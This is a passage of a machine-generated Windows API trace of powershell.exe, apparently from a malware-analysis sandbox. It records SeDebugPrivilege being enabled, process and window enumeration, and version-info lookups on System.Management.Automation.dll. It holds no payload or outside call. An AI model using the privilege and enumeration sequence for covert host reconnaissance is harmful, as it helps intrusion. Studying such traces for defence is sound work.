(pv=0x13d770) [0059.237] VerQueryValueW (in: pBlock=0x2c170d8, lpSubBlock="\\", lplpBuffer=0x27db88, puLen=0x27db80 | out: lplpBuffer=0x27db88*=0x2c17100, puLen=0x27db80) returned 1 [0059.243] GetCurrentProcessId () returned 0x9e4 [0059.260] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x27cab0 | out: lpLuid=0x27cab0*(LowPart=0x14, HighPart=0)) returned 1 [0059.262] GetCurrentProcess () returned 0xffffffffffffffff [0059.262] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x27cad0 | out: TokenHandle=0x27cad0*=0x2ec) returned 1 [0059.263] AdjustTokenPrivileges (in: TokenHandle=0x2ec, DisableAllPrivileges=0, NewState=0x2c1a950*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0059.265] CloseHandle (hObject=0x2ec) returned 1 [0059.268] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9e4) returned 0x2ec [0059.273] EnumProcessModules (in: hProcess=0x2ec, lphModule=0x2c1a9b8, cb=0x200, lpcbNeeded=0x27dae8 | out: lphModule=0x2c1a9b8, lpcbNeeded=0x27dae8) returned 1 [0059.274] GetModuleInformation (in: hProcess=0x2ec, hModule=0x13fe40000, lpmodinfo=0x2c1ac28, cb=0x18 | out: lpmodinfo=0x2c1ac28*(lpBaseOfDll=0x13fe40000, SizeOfImage=0x77000, EntryPoint=0x13fe4c63c)) returned 1 [0059.275] CoTaskMemAlloc (cb=0x804) returned 0x19b580 [0059.275] GetModuleBaseNameW (in: hProcess=0x2ec, hModule=0x13fe40000, lpBaseName=0x19b580, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0059.275] CoTaskMemFree (pv=0x19b580) [0059.275] CoTaskMemAlloc (cb=0x804) returned 0x19b580 [0059.276] GetModuleFileNameExW (in: hProcess=0x2ec, hModule=0x13fe40000, lpFilename=0x19b580, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0059.276] CoTaskMemFree (pv=0x19b580) [0059.276] CloseHandle (hObject=0x2ec) returned 1 [0059.287] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x9e4) returned 0x2ec [0059.288] GetExitCodeProcess (in: hProcess=0x2ec, lpExitCode=0x27dc18 | out: lpExitCode=0x27dc18*=0x103) returned 1 [0059.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12c1b088, Length=0x20000, ResultLength=0x27dbe0 | out: SystemInformation=0x12c1b088, ResultLength=0x27dbe0*=0xec88) returned 0x0 [0059.300] EnumWindows (lpEnumFunc=0x2a966ac, lParam=0x0) returned 1 [0059.300] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x390 [0059.300] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x530 [0059.301] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x588 [0059.301] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x100b4, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x5009e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x1008e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x100ac, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.301] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.302] GetWindowThreadProcessId (in: hWnd=0x302ac, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x140 [0059.302] GetWindowThreadProcessId (in: hWnd=0x202ae, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x57c [0059.302] GetWindowThreadProcessId (in: hWnd=0x4022e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x140 [0059.302] GetWindowThreadProcessId (in: hWnd=0x2024c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.302] GetWindowThreadProcessId (in: hWnd=0x10290, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x738 [0059.302] GetWindowThreadProcessId (in: hWnd=0x2022a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.302] GetWindowThreadProcessId (in: hWnd=0x30204, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.302] GetWindowThreadProcessId (in: hWnd=0x30202, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.302] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.302] GetWindowThreadProcessId (in: hWnd=0x50196, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x760 [0059.302] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.302] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb50 [0059.302] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb40 [0059.302] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb2c [0059.302] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb1c [0059.302] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb0c [0059.302] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xafc [0059.302] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xaec [0059.302] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xadc [0059.302] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xacc [0059.303] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xabc [0059.303] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xaac [0059.303] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa9c [0059.303] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa8c [0059.303] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa7c [0059.303] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa6c [0059.303] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa5c [0059.303] GetWindowThreadProcessId (in: hWnd=0x10154, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa4c [0059.303] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa3c [0059.303] GetWindowThreadProcessId (in: hWnd=0x6010c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa2c [0059.303] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.303] GetWindowThreadProcessId (in: hWnd=0x3014e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x50c [0059.303] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x390 [0059.303] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x234 [0059.303] GetWindowThreadProcessId (in: hWnd=0x20138, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x390 [0059.303] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x234 [0059.303] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x390 [0059.303] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x50c [0059.303] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x50c [0059.303] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x41c [0059.304] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x260 [0059.304] GetWindowThreadProcessId (in: hWnd=0x100e6, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x100d6, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x100c6, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x700a6, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x50090, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x5f8 [0059.304] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x588 [0059.304] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x2005e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.304] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x588 [0059.304] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x588 [0059.304] GetWindowThreadProcessId (in: hWnd=0x4003e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x35c [0059.304] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x674 [0059.305] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x4b4 [0059.305] GetWindowThreadProcessId (in: hWnd=0x10046, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x494 [0059.305] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x618 [0059.305] GetWindowThreadProcessId (in: hWnd=0x602c2, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb90 [0059.305] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x588 [0059.305] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x530 [0059.305] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.305] GetWindowThreadProcessId (in: hWnd=0x40062, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x360 [0059.305] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.305] GetWindowThreadProcessId (in: hWnd=0x2019e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x834 [0059.305] GetWindowThreadProcessId (in: hWnd=0x202ba, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x140 [0059.305] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb50 [0059.305] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb40 [0059.305] GetWindowThreadProcessId (in: hWnd=0x30060, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb2c [0059.305] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb1c [0059.305] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xb0c [0059.305] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xafc [0059.305] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xaec [0059.305] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xadc [0059.306] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xacc [0059.306] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xabc [0059.306] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xaac [0059.306] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa9c [0059.306] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa8c [0059.306] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa7c [0059.306] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa6c [0059.306] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa5c [0059.306] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa4c [0059.306] GetWindowThreadProcessId (in: hWnd=0x10152, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa3c [0059.306] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa2c [0059.306] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x234 [0059.306] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x390 [0059.306] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x50c [0059.306] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x674 [0059.306] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x4b4 [0059.306] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x494 [0059.306] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x618 [0059.306] GetWindowThreadProcessId (in: hWnd=0x401da, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0xa04 [0059.306] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x588 [0059.307] GetWindowThreadProcessId (in: hWnd=0x20042, lpdwProcessId=0x27d940 | out: lpdwProcessId=0x27d940) returned 0x588 [0059.311] WerSetFlags () returned 0x0 [0059.319] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0059.319] CoTaskMemFree (pv=0x0) [0059.320] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x27dca8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x27dca0 | out: pulNumLanguages=0x27dca8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x27dca0) returned 1 [0059.320] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x27dca8, pwszLanguagesBuffer=0x2c3b6e8, pcchLanguagesBuffer=0x27dca0 | out: pulNumLanguages=0x27dca8, pwszLanguagesBuffer=0x2c3b6e8, pcchLanguagesBuffer=0x27dca0) returned 1 [0059.325] CoTaskMemAlloc (cb=0x24) returned 0x18a520 [0059.325] GetUserDefaultLocaleName (in: lpLocaleName=0x18a520, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0059.325] CoTaskMemFree (pv=0x18a520) [0059.339] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0059.339] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.339] CoTaskMemFree (pv=0x18ae00) [0059.342] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0059.342] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.342] CoTaskMemFree (pv=0x18ae00) [0059.349] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0059.349] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.349] CoTaskMemFree (pv=0x18ae00) [0059.357] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.357] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.357] SetErrorMode (uMode=0x1) returned 0x1 [0059.357] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x27d920 | out: lpFileInformation=0x27d920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0059.357] SetErrorMode (uMode=0x1) returned 0x1 [0059.357] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x27db90 | out: lpdwHandle=0x27db90) returned 0x94c [0059.358] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c3ef78 | out: lpData=0x2c3ef78) returned 1 [0059.358] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27db08, puLen=0x27db00 | out: lplpBuffer=0x27db08*=0x2c3f014, puLen=0x27db00) returned 1 [0059.358] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f0f0, puLen=0x27da70) returned 1 [0059.358] lstrlenW (lpString="Microsoft Corporation") returned 21 [0059.358] CoTaskMemAlloc (cb=0x2e) returned 0x197a20 [0059.358] lstrcpyW (in: lpString1=0x197a20, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0059.358] CoTaskMemFree (pv=0x197a20) [0059.358] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f144, puLen=0x27da70) returned 1 [0059.358] lstrlenW (lpString="System.Management.Automation") returned 28 [0059.358] CoTaskMemAlloc (cb=0x3c) returned 0x13b560 [0059.358] lstrcpyW (in: lpString1=0x13b560, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0059.358] CoTaskMemFree (pv=0x13b560) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f1a0, puLen=0x27da70) returned 1 [0059.359] lstrlenW (lpString="6.1.7601.17514") returned 14 [0059.359] CoTaskMemAlloc (cb=0x20) returned 0x1962d0 [0059.359] lstrcpyW (in: lpString1=0x1962d0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0059.359] CoTaskMemFree (pv=0x1962d0) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f1e0, puLen=0x27da70) returned 1 [0059.359] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0059.359] CoTaskMemAlloc (cb=0x44) returned 0x13b560 [0059.359] lstrcpyW (in: lpString1=0x13b560, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0059.359] CoTaskMemFree (pv=0x13b560) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f248, puLen=0x27da70) returned 1 [0059.359] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0059.359] CoTaskMemAlloc (cb=0x76) returned 0x1235b0 [0059.359] lstrcpyW (in: lpString1=0x1235b0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0059.359] CoTaskMemFree (pv=0x1235b0) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f2e4, puLen=0x27da70) returned 1 [0059.359] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0059.359] CoTaskMemAlloc (cb=0x44) returned 0x13b560 [0059.359] lstrcpyW (in: lpString1=0x13b560, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0059.359] CoTaskMemFree (pv=0x13b560) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f348, puLen=0x27da70) returned 1 [0059.359] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0059.359] CoTaskMemAlloc (cb=0x58) returned 0xea7f0 [0059.359] lstrcpyW (in: lpString1=0xea7f0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0059.359] CoTaskMemFree (pv=0xea7f0) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f3c4, puLen=0x27da70) returned 1 [0059.359] lstrlenW (lpString="6.1.7601.17514") returned 14 [0059.359] CoTaskMemAlloc (cb=0x20) returned 0x1962d0 [0059.359] lstrcpyW (in: lpString1=0x1962d0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0059.359] CoTaskMemFree (pv=0x1962d0) [0059.359] VerQueryValueW (in: pBlock=0x2c3ef78, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x27da78, puLen=0x27da70 | out: lplpBuffer=0x27da78*=0x2c3f06c, puLen=0x27da70) returned 1 